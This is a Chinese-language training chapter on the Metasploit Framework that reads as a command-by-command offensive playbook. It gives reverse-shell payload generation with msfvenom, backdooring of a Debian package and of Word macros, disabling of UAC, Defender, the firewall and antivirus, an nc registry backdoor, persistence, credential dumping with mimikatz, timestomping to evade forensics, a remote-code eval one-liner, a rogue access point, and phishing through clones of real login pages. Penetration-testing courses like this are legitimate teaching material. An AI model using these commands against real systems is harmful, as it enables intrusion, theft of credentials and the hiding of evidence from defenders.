第十七章 Metasploit Framework
渗透测试者的困扰
▪ 需要掌握数百个工具软件,上千个命令参数,实在记不住
▪ 新出现的漏洞PoC/EXP有不同的运行环境要求,准备工作繁琐
▪ 大部分时间都在学习使用不同工具的使用习惯,如果能统一就好了
▪ Metasploit 能解决以上困扰吗?
MSF架构
▪ Rex
– 基本功能库,用于完成日常基本任务,无需人工手动编码实现
– 处理 socket 连接访问、协议应答(http/SSL/SMB等)
– 编码转换(XOR、Base64、Unicode)
▪ Msf::Core
– 提供 Msf 的核心基本API,是框架的核心能力实现库
▪ Msf::Base
– 提供友好的 API接口,便于模块调用的库
▪ Plugin 插件
– 连接和调用外部扩展功能和系统
▪ /usr/share/metasploit-framework/modules/
▪ 技术功能模块(不是流程模块)
– Exploits 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
– Payload 成功exploit之后,真正在目标系统执行的代码或指令
▪ Shellcode或系统指令
▪ 三种 Payload:/usr/share/metasploit-framework/modules/payloads/
▪ Single:all-in-one
▪ Stager:目标计算机内存有限时,先传输一个较小的payload用于建立连接
▪ Stages:利用stager建立的连接下载的后续payload
▪ Stager、Stages都是多种类型,适用于不同场景
▪ Shellcode 是payload的一种,由于其建立正向 / 反向 shell 而得名
▪ 技术功能模块(不是流程模块)
– Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)
– Encoders:对payload进行加密,躲避AV检查的模块
– Nops:提高 payload 稳定性及维持大小
基本使用:
▪ 使用前先升级:apt update; apt install metasploit-framework 并且初始化数据库msfdb init(关键)
▪ Msfcli 使用接口
▪ Msfconsole 使用接口
– 最流行的用户接口
– 几乎可以使用全部MSF功能
– 控制台命令支持 TAB 自动补齐
– 支持外部命令的执行(系统命令等)
– 点击鼠标启动 / msfconsole -h -q -r -v / exit
– help / ? / help vulns
MSF控制台命令:
▪ Banner、Color、connect -h
▪ show auxiliary / exploits / payloads / encoders / nops
▪ search usermap_script / help search
– search name:mysql / path:scada / platform:aix / type:aux /author:aaron /cve:2011 / // 可多条件同时搜索
▪ use dos/windows/smb/ms09_001_write
– show options / payloads / targets / advanced / evasion
– info edit
▪ Check 、back
▪ db_status / db_rebuild_cache
▪ db_nmap // 这个是MSF内置加载了nmap,和操作系统的nmap完全等同
– Hosts / host 1.1.1.1 / hosts -u / hosts -c address,os_flavor -S Linux // 下面的都是从数据库里面匹配数据筛选,比如host是1.1.1.1的,操作系统是linux的
– services -p 80 / services -c info,name -p 1-1000
– vulns / creds (mysql_login)/ loot (hashdump)
▪ db_disconnect / db_connect
– /usr/share/metasploit-framework/config/database.yml
▪ db_import / db_export
– db_import /root/nmap.xml
– db_export -f xml /root/bak.xml
▪ set / unset / setg / unsetg / save //set和setg的区别一个是临时设置,一个是全局设置,save保存设置
▪ Run / exploit
▪ jobs / kill 0
▪ load / unload /loadpath // load是加载MSF的第三方模块功能,比如Nessus,openvas等等
▪ Session
– session -l / -i(Shell 、Meterpreter session、VNC)
▪ route 通过指定 session 路由流量 // 后渗透阶段如果进入了内网可以通过其来设置路由
▪ irb (Framework::Version)
▪ Resource (msfconsol -r a.rc) // 通过导入文件的方式将预定义的配置直接导入进行攻击,格式如下:
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.121
set LHOST 192.168.1.131
set LPORT 4444
set target 34
exploit -j
回到终端输入:msfconsol -r a.rc // 发起攻击
Exploit 模块
▪ Active exploit // 主动攻击模式
– use exploit/windows/smb/psexec
– set RHOST 192.168.1.100
– set PAYLOAD windows/shell/reverse_tcp
– set LHOST 192.168.1.1
– set LPORT 4444
– set SMBUSER user1
– set SMBPASS pass1
– exploit
▪ Passive Exploits // 被动攻击模式
– use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
– set URIPATH /
– set PAYLOAD windows/shell/reverse_tcp
– set LHOST 192.168.1.1
– set LPORT 4444
– exploit
生成 payload
▪ use payload/windows/shell_bind_tcp
▪ generate (坏字符)
▪ msf自动选择编码模块绕过坏字符
– generate -b '\x00' // 自动编码绕过\x00字符
– generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
– generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x01\xcc\6e\x1e\x2e\x26' // 太多了,有可能会失败
▪ 手动指定编码模块
– show encoders / generate -e x86/nonalpha
▪ generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe // 这一段的意思是编码绕过“\x00”,生成exe格式文件,采用shikata_ga_nai编码方式,进行5次编码,以radmin.exe为模板,输出到/root/1.exe
▪ NOP:no-operation / Next Operation(无任何操作) // 缓冲区溢出的时候可能用到,意为生成14个字节的空的,然后顺序往后滑(原理比较复杂,简单理解)
– EIP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行
– generate -s 14
Meterpreter
▪ 高级、动态、可扩展的Payload
– 基于meterpreter上下文利用更多漏洞发起攻击
– 后渗透测试阶段一站式操作界面
▪ 完全基于内存的DLL注入式 payload(不写硬盘)
– 注入合法进程并建立stager
– 基于Stager上传和预加载DLL进行扩展模块的注入(客户端API)
– 基于stager建立的socket连接建立加密的TLS/1.0通信隧道
– 利用TLS隧道进一步加载后续扩展模块(避免网络取证)
▪ 服务端使用C语言编写
▪ 客户端提供基于ruby的全特性API(支持任何语言)
Meterpreter基本命令
▪ Help、background
▪ Run、bgrun // 前台为run,后台运行为bgrun
▪ Cd 、ls 、cat 、pwd 、dir 、mkdir 、mv 、rm 、rmdir 、edit
▪ lpwd 、lcd // 操作本机卡里的切换目录和显示当前目录
▪ clearev 、download 、 // clearav代表清除日志记录、download(下载)、upload(上传)
– upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
▪ execute -f cmd.exe -i –H // 执行某个程序或命令
▪ getuid 、getsystem 、getprivs 、getproxy 、getpid // 字面意思
▪ Hashdump 、run post/windows/gather/hashdump // 将显示账号经过hash之后对应的密码
▪ sysinfo 、ps 、kill 、migrate 、reboot 、shutdown 、shell // 通过getpid获取当前进程ID,然后ps查看所有的进程ID,再migrate PID,这样有利于隐蔽(将shell注入到系统的正常进程中)
▪ show_mount 、search -f autoexec.bat // 查看挂载已经搜索文件
▪ arp 、netstat 、ipconfig 、ifconfig 、route
▪ Idletime 、resource
▪ record_mic 、webcam_list 、webcam_snap -i 1 -v false // 麦克风、摄像头、截图,每隔一秒截图一张
Meterpreter python扩展
▪ 无需运行环境,在客户端运行原生 python 代码
▪ load python // 重点,python扩展,通过其可以编写自己的python程序,然后通过文件导入进来
– Help
– python_execute "print ('asdasdas')"
– python_execute "import os; cd = os.getcwd()" -r cd
– python_import -f find.py
Msfcli
▪ 由msfconsole -x 取代
▪ 编写脚本时便于引用
▪ msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 1.1.1.8; set LPORT 5555; set target 34;exploit"
Msf——信息收集
▪ Nmap扫描
– db_nmap -sV 192.168.1.0/24
▪ Auxiliary 扫描模块
– RHOSTS <> RHOST
▪ 192.168.1.20-192.168.1.30、192.168.1.0/24,192.168.11.0/24
▪ file:/root/h.txt
– search arp
▪ use auxiliary/scanner/discovery/arp_sweep // arp扫描
▪ set INTERFACE 、RHOSTS、SHOST、SMAC、THREADS;run
– search portscan
▪ use auxiliary/scanner/portscan/syn
▪ set INTERFACE、PORTS、RHOSTS、THREADS、run
▪ Nmap IPID Idle 扫描
– 查找ipidseq主机
▪ use auxiliary/scanner/ip/ipidseq
▪ set RHOSTS 192.168.1.0/24 ; run
– nmap -PN -sI 1.1.1.2 1.1.1.3 // 1.1.1.3是目标主机,1.1.1.2是idle主机
▪ UDP 扫描
– use auxiliary/scanner/discovery/udp_sweep // udp扫描
– use auxiliary/scanner/discovery/udp_probe // 同上
▪ 密码嗅探
– use auxiliary/sniffer/psnuffle
– 支持从pcap抓包文件中提取密码
– 功能类似于dsniff
– 目前只支持pop3、imap、ftp、HTTP GET协议
▪ SNMP扫描
– vi /etc/default/snmpd # 将被控机的侦听地址修改为 0.0.0.0
– use auxiliary/scanner/snmp/snmp_login
– use auxiliary/scanner/snmp/snmp_enum
– use auxiliary/scanner/snmp/snmp_enumusers (windows)
– use auxiliary/scanner/snmp/snmp_enumshares (windows)
▪ SMB信息收集
– use auxiliary/scanner/smb/smb_version
▪ 扫描命名管道,判断SMB服务类型(账号、密码)
– use auxiliary/scanner/smb/pipe_auditor
▪ 扫描通过SMB管道可以访问的RCERPC服务
– use auxiliary/scanner/smb/pipe_dcerpc_auditor
▪ SMB共享枚举(账号、密码)
– use auxiliary/scanner/smb/smb_enumshares
▪ SMB用户枚举(账号、密码)
– use auxiliary/scanner/smb/smb_enumusers
▪ SID枚举(账号、密码)
– use auxiliary/scanner/smb/smb_lookupsid
▪ SSH 版本扫描
– use auxiliary/scanner/ssh/ssh_version
▪ SSH 密码爆破
– use auxiliary/scanner/ssh/ssh_login
▪ set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt ;set VERBOSE false ;run
▪ SSH 公钥登录
– use auxiliary/scanner/ssh/ssh_login_pubkey
▪ set KEY_FILE id_rsa ; set USERNAME root ;run
▪ Windows缺少的补丁
– 基于已经取得的session进行检测
– use post/windows/gather/enum_patches // 通过这个模块查找肉鸡没有打的补丁,然后通过查找资料找寻能否通过此漏洞进行渗透
▪ show advanced
▪ set VERBOSE yes
– 检查失败
▪ Known bug in WMI query, try migrating to another process
▪ 迁移到另一个进程再次尝试
▪ Mssql 扫描端口
– TCP 1433 (动态端口) / UDP 1434 (查询TCP端口号)
– use auxiliary/scanner/mssql/mssql_ping
▪ 爆破mssql密码
– use auxiliary/scanner/mssql/mssql_login
▪ 远程执行代码
– use auxiliary/admin/mssql/mssql_exec
– set CMD net user user pass /ADD
▪ FTP 版本扫描
– use auxiliary/scanner/ftp/ftp_version
– use auxiliary/scanner/ftp/anonymous
– use auxiliary/scanner/ftp/ftp_login
▪ use auxiliary/scanner/ [tab]
– Display all 479 possibilities? (y or n)
Msf——弱点扫描
▪ 根据信息收集结果搜索漏洞利用模块
▪ 结合外部漏洞扫描系统对大IP地址段进行批量扫描
▪ 误判率、漏判率
▪ VNC 密码破解
– use auxiliary/scanner/vnc/vnc_login
▪ VNC 无密码访问
– use auxiliary/scanner/vnc/vnc_none_auth
▪ supported : None, free access!
▪ RDP 远程桌面漏洞
– use auxiliary/scanner/rdp/ms12_020_check
– 检查不会造成DoS攻击
▪ 设备后门
– use auxiliary/scanner/ssh/juniper_backdoor
– use auxiliary/scanner/ssh/fortinet_backdoor
▪ VMWare ESXi 密码爆破
– use auxiliary/scanner/vmware/vmauthd_login
– use auxiliary/scanner/vmware/vmware_enum_vms
▪ 利用WEB API 远程开启虚拟机
– use auxiliary/admin/vmware/poweron_vm
▪ HTTP 弱点扫描
– 过期证书 use auxiliary/scanner/http/cert
– 显示目录及文件
▪ use auxiliary/scanner/http/dir_listing
▪ use auxiliary/scanner/http/files_dir
– WebDAV Unicode 编码身份验证绕过
▪ use auxiliary/scanner/http/dir_webdav_unicode_bypass
– Tomcat 管理登录页面
▪ use auxiliary/scanner/http/tomcat_mgr_login
– 基于 HTTP方法的身份验证绕过
▪ use auxiliary/scanner/http/verb_auth_bypass
– Wordpress 密码爆破
▪ use auxiliary/scanner/http/wordpress_login_enum
▪ set URI /wordpress/wp-login.php
▪ WMAP WEB应用扫描器
– 根据SQLMAP的工作方式开发
– load wmap
– wmap_sites -a http://1.1.1.1
– wmap_targets -t http://1.1.1.1/mutillidae/index.php
– wmap_run -t
– wmap_run -e
– wmap_vulns -l
– vulns
▪ Openvas
– Load openvas
▪ 命令行模式、需要配置、使用繁琐
– 导入nbe格式扫描文件
– db_import openvas.nbe
▪ Nessus
▪ Nexpose
– Xml格式日志文件
▪ MSF 直接调用 NESSUS 执行扫描
– Load nessus
– nessus_help
– nessus_connect admin:toor@1.1.1.1
– nessus_policy_list
– nessus_scan_new
– nessus_report_list
Msf——客户端渗透
▪ 在无法突破网络边界的情况下转而攻击客户端
– 社会工程学攻击
– 进而渗透线上业务网络
▪ 含有漏洞利用代码的WEB站点
– 利用客户端漏洞
▪ 含有漏洞利用代码的DOC、PDF文档
▪ 诱骗被害者执行Payload
▪ 诱骗被害者执行 Payload(windows)
– msfvenom --payload-options -p windows/shell/reverse_tcp
– msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
– msfconsole
▪ use exploit/multi/handler
▪ set payload windows/shell/reverse_tcp
▪ set LHOST 1.1.1.1
▪ set LPORT 4444
▪ exploit
▪ 诱骗被害者执行Payload(Linux Deb安装包)
– apt-get --download-only install freesweep
– dpkg -x freesweep_0.90-1_i386.deb free
– mkdir free/DEBIAN && cd free/DEBIAN
– vi control
– vi postinst
▪ #!/bin/sh
▪ sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
– msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -f elf -o /root/free/usr/games/freesweep_scores
– chmod 755 postinst
– dpkg-deb --build /root/free
▪ 利用Acrobat Reader漏洞执行payload (利用的是Adobe Reader 8.1.2的漏洞)
– 构造PDF文件:exploit/windows/fileformat/adobe_utilprintf
– 构造恶意网站:exploit/windows/browser/adobe_utilprintf
– Meterpreter
▪ use priv
▪ run post/windows/capture/keylog_recorder
▪ 利用Flash插件漏洞执行payload
– use exploit/multi/browser/adobe_flash_hacking_team_uaf
– use exploit/multi/browser/adobe_flash_opaque_background_uaf
– use auxiliary/server/browser_autopwn2
▪ 利用 IE 浏览器漏洞执行 payload
– use exploit/windows/browser/ms14_064_ole_code_execution
▪ 利用 JRE 漏洞执行payload
– use exploit/multi/browser/java_jre17_driver_manager
– use exploit/multi/browser/java_jre17_jmxbean
– use exploit/multi/browser/java_jre17_reflection_types
▪ 生成 Android 后门程序
– use payload/android/meterpreter/reverse_tcp
– generate -f a.apk -p android -t raw
▪ VBScript 感染方式
– 利用 宏 感染 word、excel文档
– 绕过某些基于文件类型检查的安全机制
– 生成 vbscript 脚本:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe
– Office 2007 +
▪ 视图——宏——创建
▪ Payload 第一部分粘入VBA代码;
▪ Payload 第二部分粘入word文档正文;
– Msf 启动侦听
▪ use exploit/multi/handler
▪ set payload windows/meterpreter/reverse_tcp
Msf 后渗透测试阶段
▪ 已经获得目标系统控制权后扩大战果
– 提权
– 信息收集
– 渗透内网
– 永久后门
▪ 基于已有session扩大战果
– msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe
▪ 获取system账号权限
– load priv
– getsystem
▪ priv_elevate_getsystem: Operation failed: Access is denied.
▪ 绕过UAC限制
– use exploit/windows/local/ask
▪ set session
▪ set filename
– use exploit/windows/local/bypassuac
– use exploit/windows/local/bypassuac_injection
▪ set session
▪ set payload
▪ 利用漏洞直接提权为 system
– use exploit/windows/local/ms13_053_schlamperei
– use exploit/windows/local/ms13_081_track_popup_menu
– use exploit/windows/local/ms13_097_ie_registry_symlink
– use exploit/windows/local/ppr_flatten_rec
▪ 图形化payload
– set payload windows/vncinject/reverse_tcp
– set viewonly no # 可操作
▪ Psexec 模块之 Passthehash
– use exploit/windows/smb/psexec
– set smbpass hash
– 需要提前关闭 UAC
▪ cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
▪ cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
▪ cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
▪ cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
▪ 关闭 windows 防火墙
– 需要管理员或system权限
– netsh advfirewall set allprofiles state on
▪ 关闭 Windefend
– net stop windefend
▪ Bitlocker 磁盘加密
– manage-bde -off C:
– manage-bde -status C:
▪ 关闭 DEP
– bcdedit.exe /set {current} nx AlwaysOff
▪ 杀死防病毒软件
– Run killav
– run post/windows/manage/killav
▪ 开启远程桌面服务
– run post/windows/manage/enable_rdp
– run getgui –e
▪ run getgui -u yuanfh -p pass
▪ run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc
▪ 查看远程桌面
– screenshot
– use espia
▪ screengrab
▪ Tokens
– 用户每次登录,账号绑定临时的Token
– 访问资源时提交Token进行身份验证,类似于WEB Cookie
– Delegate Token:交互登录会话
– Impersonate Token:非交互登录会话
– Delegate Token账号注销后变为Impersonate Token,权限依然有效
▪ Incognito
– 独立功能的软件,被MSF集成在meterpreter中
– 无需密码破解或获取密码HASH,窃取Token将自己伪装成其他用户
– 尤其适用于域环境下提权渗透多操作系统
▪ 搭建域环境
– DC+XP
▪ load incognito
– list_tokens -u
– impersonate_token lab\\administrator
– 运行以上命令getsystem
▪ 本地普通权限用户需先本地提权
▪ use exploit/windows/local/ms10_015_kitrap0d
▪ execute -f cmd.exe -i -t // -t:使用当前假冒token执行程序
▪ shell
▪ 注册表保存着windows几乎全部配置参数
– 如果配置不当,可直接造成系统崩溃
– 修改前完整备份注册表
– 某些注册表的修改是不可逆的
▪ 常见用途
– 修改、增加启动项
– 窃取存储于注册表中的机密信息
– 绕过文件型病毒查杀
▪ 用注册表添加NC后门服务(meterpreter)
– upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 // 上传nc.exe到system32目录下
– reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
– reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' // 设置键值
– reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc // 查询设置的键值是否生效
▪ 打开防火墙端口(meterpreter)
– execute -f cmd -i -H
– netsh firewall show opmode // 查看windows防火墙状态
– netsh firewall add portopening TCP 4444 "Core Networking - Destination " ENABLE ALL // 增加防火墙策略,开放4444端口,Core...是策略的名字,取跟系统策略相似的名字能够增加隐蔽性
– shutdown -r -t 0
– nc 1.1.1.1 4444
▪ 其他注册表项
– https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart
▪ 抓包(meterpreter)
– load sniffer
– sniffer_interfaces
– sniffer_start 2
– sniffer_dump 2 1.cap / sniffer_dump 2 1.cap
– 在内存中缓冲区块循环存储抓包(50000),不写硬盘
– 智能过滤meterpreter流量,传输全程使用SSL/TLS 加密
▪ 解码
– use auxiliary/sniffer/psnuffle
– set PCAPFILE 1.cap
▪ 搜索文件
– search -f *.ini
– search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.docx
▪ John the Ripper 破解弱口令
– use post/windows/gather/hashdump // system权限的meterpreter
– Run // 记过保存在/tmp目录下
– use auxiliary/analyze/jtr_crack_fast
– run
▪ 文件系统访问会留下痕迹,电子取证重点关注
▪ 渗透测试和攻击者往往希望销毁文件系统访问痕迹
▪ 最好的避免被电子取证发现的方法:不要碰文件系统
– Meterpreter 的先天优势所在(完全基于内存)
▪ MAC 时间(Modified / Accessed / Changed)
– ls -l --time=atime/mtime/ctime 1.txt
– stat 1.txt
– touch -d "2 days ago" 1.txt
– touch -t 1501010101 1.txt
▪ MACE :MFT entry
– MFT:NTFS 文件系统的主文件分配表 Master File Table
– 通常1024字节或 2 个硬盘扇区,其中存放多项entry 信息
– 包含文件大量信息(大小、名称、目录位置、磁盘位置、创建日期)
– 更多信息可研究 文件系统取证分析技术
▪ Timestomp (meterpreter)
– timestomp -v 1.txt
– timestomp -f c:\\autoexec.bat 1.txt
– -b -r // 擦除MACE时间信息,目前此参数功能失效
– -m / -a / -c / -e / -z
– timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt
▪ Pivoting 跳板 / 枢纽 / 支点
– 利用已经控制的一台计算机作为入侵内网的跳板
– 在其他内网计算机
– run autoroute -s 1.1.1.0/24 #不能访问外网的被攻击目标内网网段
▪ 自动路由 现实场景
– 利用win 7攻击内网XP(对比xp有无外网访问权的情况)
– 扫描内网:use auxiliary/scanner/portscan/tcp
▪ Pivoting 之端口转发 Portfwd
– 利用已经被控计算机,在kali与攻击目标之间实现端口转发
– portfwd add -L LIP -l LPORT -r RIP -p RPORT
– portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
– portfwd list / delete / flush
▪ use exploit/windows/smb/ms08_067_netapi
– set RHOST 127.0.0.1
– set LHOST 2.1.1.10
▪ use exploit/multi/handler
– set exitonsession false
▪ POST 模块
– run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24
– run post/windows/gather/checkvm
– run post/windows/gather/credentials/credential_collector
– run post/windows/gather/enum_applications
– run post/windows/gather/enum_logged_on_users
– run post/windows/gather/enum_snmp
– run post/multi/recon/local_exploit_suggester
– run post/windows/manage/delete_user USERNAME=yuanfh
– run post/multi/gather/env
– run post/multi/gather/firefox_creds
– run post/multi/gather/ssh_creds
– run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe
▪ 自动执行meterpreter脚本
– set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
– set InitialAutoRunScript checkvm
▪ 自动执行post 模块
– set InitialAutoRunScript migrate -n explorer.exe
– set AutoRunScript post/windows/gather/dumplinks
▪ 持久后门
– 利用漏洞取得的meterpreter shell 运行于内存中,重启失效
– 重复 exploit 漏洞可能造成服务崩溃
– 持久后门保证漏洞修复后仍可远程控制
▪ Meterpreter 后门
– run metsvc -A # 删除 -r
– use exploit/multi/handler
– set PAYLOAD windows/metsvc_bind_tcp
– set LPORT 31337
– set RHOST 1.1.1.1
▪ 持久后门
– run persistence -h
– run persistence -X -i 10 -p 4444 -r 1.1.1.1
– run persistence -U -i 20 -p 4444 -r 1.1.1.1
– run persistence -S -i 20 -p 4444 -r 1.1.1.1
▪ MSF 延伸用法之 Mimikatz
▪ hashdump 使用的就是Mimikatz的部分功能
– getsystem
– load mimikatz
– wdigest 、kerberos 、msv、ssp 、tspkg 、livessp
– mimikatz_command -h
– mimikatz_command -f a::
– mimikatz_command -f samdump::hashes
– mimikatz_command -f handle::list
– mimikatz_command -f service::list
– mimikatz_command -f crypto::listProviders
– mimikatz_command -f winmine::infos
▪ PHP shell
– msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php
– MSF 启动侦听
– 上传到 web 站点并通过浏览器访问
▪ Web Delivery
– 利用代码执行漏洞访问攻击者服务器
– use exploit/multi/script/web_delivery
– set target 1
– php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/fTYWqmu'));"
▪ RFI 远程文件包含
– vi /etc/php5/cgi/php.ini // php info 配置文件
▪ allow_url_fopen = On
▪ allow_url_include = On
– use exploit/unix/webapp/php_include
– set RHOST 1.1.1.2
– set PATH /dvwa/vulnerabilities/fi/
– set PHPURI /?page=XXpathXX
– set HEADERS "Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7"
– set payload php/meterpreter/reverse_tcp
– set lhost 1.1.1.1
– exploit
▪ Karmetasploit
– 伪造AP、嗅探密码、截获数据、浏览器攻击
– wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt
▪ 安装其他依赖包
– gem install activerecord sqlite3-ruby
▪ 基础架构安装配置
– apt-get install isc-dhcp-server
– cat /etc/dhcp/dhcpd.conf
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
▪ 伪造AP
– airmon-ng start wlan0
– airbase-ng -P -C 30 -e "FREE" -v wlan0mon
– ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
– touch /var/lib/dhcp/dhcpd.leases
– dhcpd -cf /etc/dhcp/dhcpd.conf at0
▪ 启动 Karmetasploit
– msfconsole -q -r karma.rc_.txt
▪ 允许用户正常上网
– vi karma.rc_.txt
– 删除 setg 参数
– 增加 browser_autopwn2 等其他模块
– 检查恶意流量:auxiliary/vsploit/malware/dns*
▪ 启动 Karmetasploit
– msfconsole -q -r karma.rc_.txt
▪ 添加路由和防火墙规则(iptables)
– echo 1 > /proc/sys/net/ipv4/ip_forward
– iptables -P FORWARD ACCEPT
– iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Armitage 图形化前端
▪ 开源免费图形前端
– 作者自称是众多不会使用metasploit的安全专家之一(命令行)
– MSF基于命令行,缺少直观的GUI图形用户接口
▪ Armitage 只是调用MSF的漏洞利用能力
– Armitage 的每一个GUI操作都可以对应MSF中一条命令
▪ 红队团队合作模拟对抗
– 分为客户端(armitage)和服务器(msfrpcd)两部分
– /usr/share/armitage/teamserver ip password
▪ 可脚本化
▪ 启动方式
– service postgresql start
– Teamserver
▪ 服务器端:teamserver 服务器IP 连接密码
▪ 客户端:armitage
– 单机启动
▪ Armitage
▪ GUI 启动
▪ 127.0.0.1:55553
▪ 发现主机
– 手动添加IP地址
– 扫描结果导入(nmap、nessus、openvas、appscan、nexpose、awvs)
– 直接扫描发现(nmap、msf)
– DNS 枚举发现
▪ 扫描端口及服务
▪ 工作区 workspace
– 个人视角的目标动态显示筛选,同一team的队员自定义工作区
– 基于地址的工作区划分
– 基于端口的工作区划分
– 基于操作系统的工作区划分
– 基于标签的工作区划分
▪ 生成payload
▪ 主动获取目标
– Ms08_067
▪ 被动获得目标
– Browser_autopwn2
▪ Meterpreter shell 能力展示
▪ 菜单功能
▪ Cortana 脚本
– Veil-Evasion?/use/share/veil-evasion/tools/cortana/veil_evasion.cna
– https://github.com/rsmudge/cortana-scripts
▪ 别无他法的最后选择
– Attacks
▪ Find Attacks # 自动分析匹配漏洞利用模块
▪ Hali Mary # 上帝啊!赐予我力量吧!
▪ 洪水式漏洞利用代码执行,流量及特征明显,容易被发现
▪ Armitage 现状
– 维护不及时,传言此项目已荒废
– 仍然是目前唯一开源免费的 metasploit 图形前端
▪ Cobalt Strike
新闻插播
▪ Metasploit 被发现两个远程代码执行漏洞
– 问题都出在WEB组件方面
– MSF 不受影响
▪ 安全面前软软平等
– 没有没有漏洞的软件
社 会 工 程 学
▪ 为什么在这说社会工程学(Social Engineering)
– Metasploit 可以很好的配合到社会工程学攻击的各个阶段
– Setoolkit 工具包大量依赖 Metasploit
– 基于浏览器等客户端软件漏洞实现对客户端计算机的攻击
– 社会:人是社会化的动物(人与人之间的关系,群体利益决定结构架构)
– 工程:依据标准的步骤完成任务达成目标的一套方法
– 通过人的交流,使用欺骗伪装等手段绕过安全机制实现入侵的非技术手段
▪ 社会工程学攻击的4个阶段
– 研究:信息收集(WEB、媒体、垃圾桶、物理),确定并研究目标人
– 钩子:与目标建立第一次交谈(Hook、下套)
– 下手:与目标建立信任并获取信息
– 退场:不引起目标怀疑的离开攻击现场
▪ 类型
– 基于人的社工
▪ 搭载
▪ 伪造身份
▪ 偷听 / 窃取
▪ 反社工
▪ 垃圾桶工程、
– 基于计算机的社工
▪ 弹出窗口
▪ 内部网络攻击
▪ 钓鱼邮件
▪ 419尼日利亚骗局
▪ 短信诈骗
▪ Social-Engineering Toolkit ?SET?
– 站点克隆:1 2 3 2
▪ https://login.taobao.com/member/login.jhtml
▪ http://admin.smeshx.gov.cn/login.php
– 发送钓鱼邮件:1 1 2
– WEB站点攻击向量:1 2 1 2
– 中间文件全部存放在 ~/.set目录中